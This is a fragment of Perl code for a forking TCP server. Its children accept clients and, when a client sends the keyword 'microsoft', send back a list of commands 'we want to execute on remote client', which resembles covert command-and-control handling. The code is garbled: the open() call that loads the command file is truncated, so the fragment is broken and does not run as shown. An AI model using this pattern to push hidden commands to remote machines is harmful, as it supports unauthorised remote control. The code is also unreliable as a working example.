sub make_new_child { my $pid; my $sigset; # block signal for fork $sigset = POSIX::SigSet->new(SIGINT); sigprocmask(SIG_BLOCK, $sigset) or die "Can't block SIGINT for fork: $!\n"; die "fork: $!" unless defined ($pid = fork); if ($pid) { # Parent records the child's birth and returns. sigprocmask(SIG_UNBLOCK, $sigset) or die "Can't unblock SIGINT for fork: $!\n"; $children{$pid} = 1; $children++; return; } else { # Child can *not* return from this subroutine. $SIG{INT} = 'DEFAULT'; # make SIGINT kill us as it did before # unblock signals sigprocmask(SIG_UNBLOCK, $sigset) or die "Can't unblock SIGINT for fork: $!\n"; # handle connections until we've reached $MAX_CLIENTS_PER_CHILD for (my $i=0; $i < $MAX_CLIENTS_PER_CHILD; $i++) { my $client = $server->accept(); # Set up vars for commands, and make sure the # @commands array is empty to start my @commands = (); my $command; # import commands we want to execute on remote client open( CMDFH,"; close CMDFH; chomp @commands; $client->autoflush(1); my $hostinfo = gethostbyaddr($client->peeraddr); printf "[Connect from %s]\n", $hostinfo->name || $client->peerhost; while ( <$client> ) { next unless /\S/; # blank line if (/quit|exit/i) { last; } elsif (/test/i) { print $client "Test yourself..\n"; } elsif (/microsoft/i) { ## print list of commands to client foreach $command(@commands) { print $client "$command\015\012"; } } else { last; }; } continue { } close $client; }